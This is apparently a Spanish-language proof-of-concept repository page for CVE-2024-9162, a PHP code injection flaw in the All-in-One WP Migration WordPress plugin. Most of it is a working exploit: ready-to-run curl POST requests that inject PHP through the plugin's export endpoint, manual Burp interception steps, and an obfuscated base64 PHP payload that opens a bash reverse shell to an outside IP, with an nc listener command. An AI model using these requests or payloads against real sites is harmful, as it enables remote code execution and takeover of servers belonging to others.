d0n601/cve-2024-9162All-in-One WP Migration and Backup <= 7.86 - Autenticado (Administrador+) Inyección de Código PHP Arbitraria
El plugin All-in-One WP Migration para WordPress es vulnerable a la inyección de código PHP arbitrario debido a la falta de validación del tipo de archivo durante la exportación en todas las versiones hasta la 7.86 inclusive. Esto permite que atacantes autenticados, con acceso de nivel Administrador o superior, creen un archivo de exportación con la extensión .php en el servidor del sitio afectado, añadiendo código PHP arbitrario al mismo, lo que puede hacer posible la ejecución remota de código.
La ai1wm_secret_key es una cadena alfanumérica de 12 caracteres creada cuando se inicializa el plugin. La clave nunca se rota, no expira y se almacena en texto plano en la tabla wp_options.
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)
Esto creará un archivo php que contiene una llamada a phpinfo();, la cual puede ser reemplazada por un payload mejor, como se ve en la sección de reproducción manual. Nótese que no se requiere autorización más allá del parámetro secret_key.
VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo
PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
Cabe señalar que el archivo php creado mediante estos pasos aparecerá primero en wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php antes de ser eliminado por el script y movido a wp-content/ai1wm-backups/reverse_shell.php.
Inicia sesión, haz clic en la exportación de All-in-One WP Migration para acceder a la página "Export Site".
En Find * Replace with <another-text> en la base de datos.
Introduce * en el campo Find.
Introduce tu payload php manipulado en el campo Replae With (phpinfo();, web shell, etc.).
<?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>. Esto se decodificará a exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");.
Configura Burp o una herramienta similar y comienza a interceptar el tráfico, luego haz clic en la opción verde "Export To -> File".
Reenvía la primera petición: POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1, sin manipulación.
Reenvía: GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2.
Intercepta la petición a POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
archive al nombre que quieras, con la extensión .php, y luego reenvía la petición. POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
Host: wordpress.hacker
Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 883
Origin: https://wordpress.hacker
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php.nc -lnvp 4444.